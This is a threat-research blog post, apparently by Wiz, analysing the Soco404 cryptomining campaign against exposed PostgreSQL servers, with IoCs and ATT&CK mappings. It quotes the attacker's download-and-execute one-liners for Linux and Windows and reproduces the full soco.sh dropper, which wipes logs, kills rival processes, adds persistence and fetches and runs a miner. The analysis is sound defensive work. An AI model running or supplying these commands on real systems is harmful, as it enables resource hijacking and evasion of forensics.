Soco404: Multiplatform Cryptomining Campaign Uses Fake Error Pages to Hide Payload

Wiz Research has identified a new iteration of a broader malicious cryptomining campaign, which we’ve dubbed Soco404.

TL;DR

  • Wiz research has observed an active campaign exploiting various vulnerabilities and misconfigurations across cloud environments to deploy cryptominers.

  • In the variant described in the blog, the attacker exploited misconfigurations in PostgresSQL.

  • The attacker targets both Linux and Windows systems, deploying platform-specific malware.

  • They use process masquerading to disguise malicious activity as legitimate system processes.

  • They achieve persistence via cron job and shell initialization files (e.g., .bashrc, .profile).

  • They rely on compromised legitimate servers to host and deliver malware.

  • The malware spawns multiple child processes that communicate via local sockets.

  • Payloads are embedded in fake 404 HTML pages hosted on websites built using Google Sites. Note: We reported these sites to Google, and they have since been taken down.

  • We estimate that this campaign is part of a broader crypto-scam infrastructure.

Wiz Research has identified a new iteration of a broader malicious cryptomining campaign, which we’ve dubbed Soco404 (based on the observed payload name, associated domain, and use of fake error pages). While previous activity tied to this campaign has been documented by Aqua and Imperva as targeting exposed Apache Tomcat services with weak credentials , as well as vulnerable Apache Struts and Atlassian Confluence servers, our investigation uncovered a distinct case in which the attacker also targets exposed PostgreSQL instances and leverages compromised Apache Tomcat servers to host payloads tailored for both Linux and Windows environments. We also found evidence that the attacker is maintaining a broader crypto-scam infrastructure, further suggesting this is part of a long-term, versatile, and opportunistic operation.

The threat actor behind Soco404 has leveraged multiple types of infrastructure, which we have grouped into three distinct clusters:

  1. Fake 404 Domains - Registered domains that display fake 404 error pages while embedding malicious payloads directly within the HTML content.

  2. Crypto-Scam Websites - Domains used to host fraudulent cryptocurrency trading platforms, likely as part of a broader social engineering effort.

  3. Compromised Infrastructure - Legitimate servers compromised via vulnerable Apache Tomcat instances, used to host and distribute malware payloads. Notably, the attacker has successfully compromised a legitimate Korean transportation website, demonstrating their ability to abuse trusted infrastructure for malicious purposes.

As mentioned in our previous blog post on PostgreSQL cryptojacking, our data shows that nearly 90% of cloud environments self-host PostgreSQL instances, and one-third of those have at least one instance publicly exposed to the internet. These exposed PostgreSQL servers are frequently targeted by threat actors, making them a high-risk attack surface. 

In this writeup, we detail the Soco404 campaign, share IoCs, and provide insight into its ongoing activity. Based on the dynamic number of workers linked to the attacker’s crypto wallet within the mining pool, the campaign appears to still be active.

Technical Analysis

PostgreSQL Exploitation

Threat actors are actively scanning for accessible services [T1110.003] that allow unauthenticated or low-effort entry points, with PostgreSQL frequently appearing in attack flows due to its prevalence and default configurations. Upon gaining access, attackers abuse PostgreSQL’s COPY ... FROM PROGRAM functionality to achieve remote code execution [T1190], enabling them to retrieve and execute malicious payloads directly on the host  [T1059.004].

The attacker behind Soco404 appears to be conducting automated scans for exposed services, aiming to exploit any accessible entry point. Their use of a wide range of ingress tools, including Linux utilities like wget and curl, as well as Windows-native tools such as certutil and PowerShell, highlights an opportunistic strategy. Rather than relying on a single method or operating system, the attacker casts a wide net, deploying whichever tool or technique is available in the environment to deliver their payload. This flexible approach is characteristic of a broad, automated cryptomining campaign focused on maximizing reach and persistence across varied targets.

In the following sections we will detail both Linux and Windows payloads.

Linux payload

Upon successful exploitation the attacker runs the soco.sh script directly in memory, avoiding disk writes.

sh -c "(curl http://<compromised-service>:8080/soco.sh||wget -q -O- http://<compromised-service>:8080/soco.sh||cc http://<compromised-service>:8080/soco.sh||ww -q -O- http://<compromised-service>:8080/soco.sh)|bash"

soco.sh

soco.sh is a dropper script that is in charge of setting the ground for the main payload. Key points:

1.Download & execute payload from http://<compromised-service>:8080/app2 [T1105]. The script generates a random filename based on the timestamp and drops it into a writable directory on disk, explicitly avoiding /tmp and /sys, likely for persistence or evasion purposes. Next, the script will run the sleep command for 2 seconds and then delete the binary from disk to minimize its footprint [T1070.004]. The server hosting the payload is a compromised [T1584.004], publicly accessible Apache Tomcat instance. Based on Aqua’s findings, it is likely that the attacker gained access via weak credentials, though exploitation of the CVE-2025-24813 vulnerability [T1190] is also a possible entry vector given the versions in use.

In the following section, we detail the behavior of the downloaded payload.

2. Eliminate potential competing miners by clearing /etc/ld.so.preload, remove suspicious cron jobs, and forcefully killing processes with separate mount namespaces.

chattr -ia /etc/ld.so.preload
cat /dev/null > /etc/ld.so.preload


crontab -l | sed '/\.bashgo\|pastebin\|onion\|bprofr\|python\|curl\|wget\|\.sh/d' | crontab -

cat /proc/mounts | awk '{print $2}' | grep -P '/proc/\d+' | grep -Po '\d+' | xargs -I % kill -9 %

3. Remove evidence of execution and reduce forensic visibility by overwriting logs including cron and wtmp [T1070.002]:

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

4. If the script is running as root, it will attempt to optimize memory performance and Maximize CPU efficiency for cryptomining.

*See full soco.sh script in Archive section below.

Malware execution flow

The binary app2 (14bf32e780601c6870811982648cf293) is a UPX [T1027.002] packed Go binary obfuscated  [T1027] using Garble to hinder analysis. Its primary function is to act as a loader for the main payload.

Upon execution, the malware unpacks itself into memory and spawns multiple child processes. One of these processes is responsible for re-executing the binary under the name (sd-pam), in an attempt to masquerade [T1036.005] as the legitimate systemd user service that handles PAM (Pluggable Authentication Modules) sessions on Linux systems.

After this, it reaches out to the command-and-control (C2) server at https[:]//www[.]fastsoco[.]top, which hosts the main payload at https[:]//www[.]fastsoco[.]top/1.

This website is based on Google Sites (https[:]//sites[.]google[.]com/view/2025soco/), which, when accessed, displays a fake 404 error page [T1583.006]. The actual binary is embedded within the HTML content [T1027.006] as a base64-encoded blob, which is extracted by searching for content between the markers exe101 and exe101.

Fake 404 error page htttps[://]www[.]fastsoco.top/1
Same visual appearance (404 error), different HTML content
Base64 encoded binary embedded within HTML source

The main payload is executed with the names [cpuhp/1] and [kworker/R-rcu_p] to masquerade as kernel related processes [T1036.005].

It establishes the following persistence: 

1.Crontab

            A new cron job is added to run the malware every minute [T1053.003]:

/bin/bash -c "(crontab -l 2>/dev/null; echo \"*/1 * * * * /etc/postgresql/<random-binary-name>\") | crontab -"

2. Shell initialization files

The following command is appended to /etc/profile, .bashrc, and .profile [T1546.004]:

echo My>/dev/null 2>&1 &<chosen-payload-directory>/<random-binary-name> >/dev/null 2>&1 &

During execution, the malware creates multiple forked processes and drops additional copies of itself to disk using randomly generated filenames. These processes interact with each other via local socket communication [T1559], likely to coordinate functionality or monitor each other for resilience. 

Once established, it begins cryptocurrency mining  [T1496] by connecting to the pools c3pool and moneroocean, using the following wallet address:

8BmVXbfsnRsiyPfUxsfnyyA9LqXvUsF2DYBX3wUmCEtejnBMyTiXe3XDCvq4REjmviEc5J1gomsnv7e4wYy1c5Pz3VadeyZ

Windows payload

The Windows initial post exploitation command is designed to download and execute a Windows binary (ok.exe) from the compromised server using multiple fallback methods to maximize the chances of successful execution. It begins by invoking certutil, a legitimate Windows utility originally intended for managing certificates, which also includes functionality for downloading files from URLs. Attackers frequently abuse certutil because it is built-in, commonly allowed by endpoint defenses, and can fetch and save remote payloads without raising immediate suspicion. If certutil fails or is blocked, the command falls back to using PowerShell’s Invoke-WebRequest, and finally to curl [T1105], each attempting to download the file to C:\Users\Public\ directory, a universally writable path, and execute it.

sh -c " cmd /c \"certutil -urlcache -split -f \"http://<compromised-service>:8080/ok.exe\" \"C:\Users\Public\os.exe\" && \"C:\Users\Public\os.exe\" || powershell -c \"iwr 'http://<compromised-service>:8080/ok.exe' -OutFile 'C:\Users\Public\os.exe'; Start-Process 'C:\Users\Public\os.exe'\" || curl -o \"C:\Users\Public\os.exe\" \"http://<compromised-service>:8080/ok.exe\" && \"C:\Users\Public\os.exe\"\""

The ok.exe binary functions as a loader that embeds both the main payload and the WinRing0.sys driver. Upon execution, it copies itself to C:\ProgramData\fuekghfebdot\hunyknsmqtgn.exe or C:\ProgramData\ blbsihkzkqxm\wytourcabiik.exe and establishes persistence by creating a service [T1543.003] with a random 8-character uppercase alphabetical name:

sc.exe create "XXXXXXXX" binpath= "C:\ProgramData\blbsihkzkqxm\wytourcabiik.exe" start= "auto"

It then attempts to cover its tracks by stopping the Windows event log service [T1562.002]:

sc.exe stop eventlog

To remove evidence of the original binary, the malware executes a self-deletion command [T1027.002]. It uses the choice command to introduce a 3-second delay before deleting the file.

cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Public\os.exe"

Afterward, it spawns a conhost.exe process and injects the main payload into it, [T1055], creating multiple threads that communicate via TCP sockets [T1559]. It also drops the WinRing0.sys driver with a random name to the temp directory. WinRing0.sys is a component commonly used by cryptominers like XMRig to gain low-level access to system resources and improve performance.

The malware ultimately begins mining cryptocurrency  [T1496] using the same wallet that was used by the Linux payload.

XMRig miner configuration file extracts from conhost.exe memory

Possible connection to crypto scam campaign

During our analysis, we identified that one of the attacker’s payloads was hosted on a fake cryptocurrency exchange website, seeyoume[.]top, which claimed affiliation with the Hong Kong Stock Exchange (HKEX). When accessing seeyoume[.]top/sol, we received a fake 404 error page that embedded the same shell script seen in the previously documented instances of the campaign.

Further investigation into the domain led us to a Russian scam alert website, which linked seeyoume[.]top to a broader crypto-scam operation and detailed the scam’s workflow. The alert also referenced additional domains associated with the scam;

  • arcticoins[.]com

  • diamondcapitalcrypro[.]com

  • nordicicoins[.]com

  • hkcapitals[.]com

diamondcapitalcrypro[.]com was still live and hosted nearly identical fake crypto exchange website, reinforcing the likelihood of a coordinated scam infrastructure.

seeyoume[.]top
seeyoume[.]top
seeyoume[.]top/sol

How can Wiz help? 

Prevention: 

The Wiz Dynamic Scanner detects publicly exposed PostgreSQL services configured with weak or default credentials within customers' cloud environments. The Wiz agentless workload scanner detects containers and VMs hosting PostgreSQL and identifies if they contain sensitive data or have access to highly privileged service accounts (which could just as easily be abused by opportunistic attackers for purposes other than cryptojacking).

Detection: 

The Wiz Runtime Sensor detects events and behaviors associated with this threat and similar ones, alerting you as the adversary progresses through the attack kill chain: from the exploit to the initial payload delivery, persistence creations and ultimately to the final cryptomining activity.

Below is an example of the initial access vector identified by the detection 'Anomalous shell execution by a database process':

Archive


soco.sh script:

#!/bin/bash
cc=http://<compromised-server>:8080/app2
sys=$(date|md5sum|awk -v n="$(date +%s)" '{print substr($1,1,n%7+6)}')
get() {
    curl -k $1>$2 || cc -k $1>$2 || wget --no-check-certificate -q -O- $1>$2 || curl $1>$2 || curl $1>$2 || ww -q -O- $1>$2
    chmod +x $2
}


chattr -ia /etc/ld.so.preload
cat /dev/null > /etc/ld.so.preload


crontab -l | sed '/\.bashgo\|pastebin\|onion\|bprofr\|python\|curl\|wget\|\.sh/d' | crontab -
cat /proc/mounts | awk '{print $2}' | grep -P '/proc/\d+' | grep -Po '\d+' | xargs -I % kill -9 %


if [ `whoami` = "root" ];then
         yy
         tt
else
 echo "error root!"
fi

readDir() {
    local u=$(whoami)
    local dir=$(find /home /root /opt /usr /var /etc -type d -user "$u" -writable -perm -u=wx \
               -not -path '/sys/*' -not -path '/tmp/*' -print -quit 2>/dev/null)
    
    [[ -n "$dir" ]] && echo "$dir" || echo "/var/tmp"
}

dirs=$(readDir)
echo "file ok: $dirs"
cd -- "$dirs" || exit 1
PATH=".:$PATH"
get $cc $sys
$sys
sleep 2
rm -rf $sys

echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
function yy() {
        sysctl -w vm.nr_hugepages=$(nproc)

                for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
                do
                        echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
                done

                echo "1GB pages successfully enabled"
}
function tt() {

        MSR_FILE=/sys/module/msr/parameters/allow_writes

                if test -e "$MSR_FILE"; then
                        echo on > $MSR_FILE
                else
                        modprobe msr allow_writes=on
                fi

if grep -E 'AMD Ryzen|AMD EPYC' /proc/cpuinfo > /dev/null;
        then
        if grep "cpu family[[:space:]]\{1,\}:[[:space:]]25" /proc/cpuinfo > /dev/null;
                then
                        if grep "model[[:space:]]\{1,\}:[[:space:]]97" /proc/cpuinfo > /dev/null;
                                then
                                        echo "Detected Zen4 CPU"
                                        wrmsr -a 0xc0011020 0x4400000000000
                                        wrmsr -a 0xc0011021 0x4000000000040
                                        wrmsr -a 0xc0011022 0x8680000401570000
                                        wrmsr -a 0xc001102b 0x2040cc10
                                        echo "MSR register values for Zen4 applied"
                                else
                                        echo "Detected Zen3 CPU"
                                        wrmsr -a 0xc0011020 0x4480000000000
                                        wrmsr -a 0xc0011021 0x1c000200000040
                                        wrmsr -a 0xc0011022 0xc000000401500000
                                        wrmsr -a 0xc001102b 0x2000cc14
                                        echo "MSR register values for Zen3 applied"
                                fi
                else
                        echo "Detected Zen1/Zen2 CPU"
                        wrmsr -a 0xc0011020 0
                        wrmsr -a 0xc0011021 0x40
                        wrmsr -a 0xc0011022 0x1510000
                        wrmsr -a 0xc001102b 0x2000cc16
                        echo "MSR register values for Zen1/Zen2 applied"
                fi
elif grep "Intel" /proc/cpuinfo > /dev/null;
        then
                echo "Detected Intel CPU"
                wrmsr -a 0x1a4 0xf
                echo "MSR register values for Intel applied"
else
        echo "No supported CPU detected"
fi
}

IOCs

IndicatorDescription
c9bb137d56fab7d52b3dbc85ae754b79d861a118bfb99566faaa342c978285ffSHA-256 soco.sh
bac4b166dec1df8aa823a15136c82c8b50960b11a0c4da68b8d7dedcb0f3a794SHA-256 soco.sh
c67e876d7b3ae5f3c4fd626d8ba62e77bd47dfdf51f7a4438edd64bd0f88ce3aSHA-256 soco.sh
039caa15c1a54b49250717e68cd1a78a4be17b80e8062441c340eba0674e5926SHA-256 of ldr.sh
0ad013c5166900b9c57a7ff771dbbf8b11f8a3be46a85cff6ced83ceb1a38f8dSHA-256 of ldr.sh
5a8e5d7dfc7ccadf8b66fa8b04cf33010f0384072fc9b1fc79e7e1a65a0c701cSHA-256 of ldr.sh
9055bcd42263d83943358f76b13cdf24079ef9db8a2167658089be5324279485SHA-256 of ldr.sh
a1fbaee0915edd8568fcea9868fd511adb43faf93bd0abd63788a61febcff13bSHA-256 of ldr.sh
09e7232ef9322792f6340cc637d3ba2292383c2d353196252bd7a3cf00f4ba0eSHA-256 of ldr.sh
d62c4c621de5e6deee28454413c612cd99511aaa85f9722c1ebadc731d22cab2SHA-256 of ldr.sh
e7fe0a5c6c198be8941d5a1be7c0669688c45751e9bf0d16a0ae6ae1d0e7a957SHA-256 of ELF malware
e69e55027bf64011599ae1283d15d157bfefed1c03e20fe72ecf7e90fd451e76SHA-256 of ELF malware
424f15e2509ed62c95d5637df0b519c40f73b3cbb00b7a8073ba89ddad7e5dc1SHA-256 of ELF malware
22abd35b6afd1909e6d71bd75b2ac23890e2675f9d40e403b0cfd4ed155a96f6SHA-256 of ELF malware
cbb9d5c601fca0b9b25ec914431abc35c45d5f4c2bbf18e14661aadd8e7e2f47SHA-256 of ELF malware
68bb9e294ba7f1b0426e16abbdb5c8f29daa8e8d98aee7a430ead97f2ffadd3aSHA-256 of ELF malware
8739f0189f64636fab1965bb066ba67a980ecabafd4307f4fb732ffdc154fa04SHA-256 of ELF malware
54303aa4f7b7ae3137f5f1368dba6b9b90f7826b8b18132ea495fff29f33f1e4SHA-256 of ELF malware
13e3cb74ad420c0770b9fedae617eaf312272db12035e4f64ebb606ac96f6ef0SHA-256 of ELF malware
498ecdfce65d739154b39703c63c8f4334066655e1cc8024c2716e280598caccSHA-256 of ok.exe Windows malware
8d06979a38ee5ef6f03817a1d16ab75171528cfaf8f743bfe64b45abd6c26142SHA-256 of ok.exe Windows malware
bf038c13468a9b75278ea198c3d41d4ad4fc14e447d9dd0a94915ce2ab8132e5SHA-256 of ok.exe Windows malware
a047e82948bf7c43281c975b9588bf5d4500fd671a5e25fc3f9206cbd1827dfdSHA-256 of ok.exe Windows malware
5b224a091151661943e038066ef03f7b5bab055187f3b1b582dbfe392e74c921SHA-256 of appx.exe Windows malware
0086fe6259af25f3b5a12d81080bed61938cc70ebdf480501acc1c10ac39c74aSHA-256 of os.exe Windows malware
11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5SHA-256 of WinRing0.sys
https[:]//sites[.]google[.]com/view/2025soco/Payload hosting site
https://sites[.]google[.]com/view/dblikesPayload hosting site
https://sites[.]google[.]com/view/sogotoPayload hosting site
https://sites[.]google[.]com/view/osk05Payload hosting site
www[.]fastsoco[.]topPayload hosting site
dblikes[.]cyouPayload hosting site
seeyoume[.]topPayload hosting site
arcticoins[.]comCrypto scam domain
diamondcapitalcrypro[.]comCrypto scam domain
nordicicoins[.]comCrypto scam domain
hkcapitals[.]comCrypto scam domain
auto.c3pool.orgMining pool
gulf.moneroocean.streamMining pool
483F2xjkCUegxPM7wAexam1Be67EqDRZpS7azk8hcGETSustmuxd1Agffa3XSHFyzeFprLyHKm37bTPShFUTKgctMSBVuuKAttacker’s crypto wallet address
8BmVXbfsnRsiyPfUxsfnyyA9LqXvUsF2DYBX3wUmCEtejnBMyTiXe3XDCvq4REjmviEc5J1gomsnv7e4wYy1c5Pz3VadeyZAttacker’s crypto wallet address

MITRE ATT&CK® Techniques used by Soco404

Command and Control - Ingress Tool Transfer (T1105

Credential Access - Brute Force: Password Spraying (T1110.003)

Defense Evasion - Impair Defenses: Disable Windows Event Logging (T1562.002)

Defense Evasion - Indicator Removal: Clear Linux or Mac System Logs (T1070.002)

Defense Evasion - Indicator Removal: File Deletion (T1070.004)

Defense Evasion - Masquerading: Match Legitimate Name or Location (T1036.005

Defense Evasion - Obfuscated Files or Information (T1027.002

Defense Evasion - Obfuscated Files or Information: HTML Smuggling (T1027.006)

Defense Evasion - Obfuscated Files or Information: Software Packing (T1027.002

Defense Evasion - Process Injection (T1055

Execution - Command and Scripting Interpreter: Unix Shell (T1059.004

Execution - Inter-Process Communication (T1559)

Initial Access - Exploit Public-Facing Application (T1190

Impact – Resource Hijacking (T1496

Persistence - Create or Modify System Process: Windows Service (T1543.003)

Persistence - Scheduled Task/Job: Cron (T1053.003)

Persistence - Event Triggered Execution: Unix Shell Configuration Modification (T1546.004)

Resource Development - Acquire Infrastructure: Web Services (T1583.006)

Resource Development - Compromise Infrastructure: Server (T1584.004)

Continue reading

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management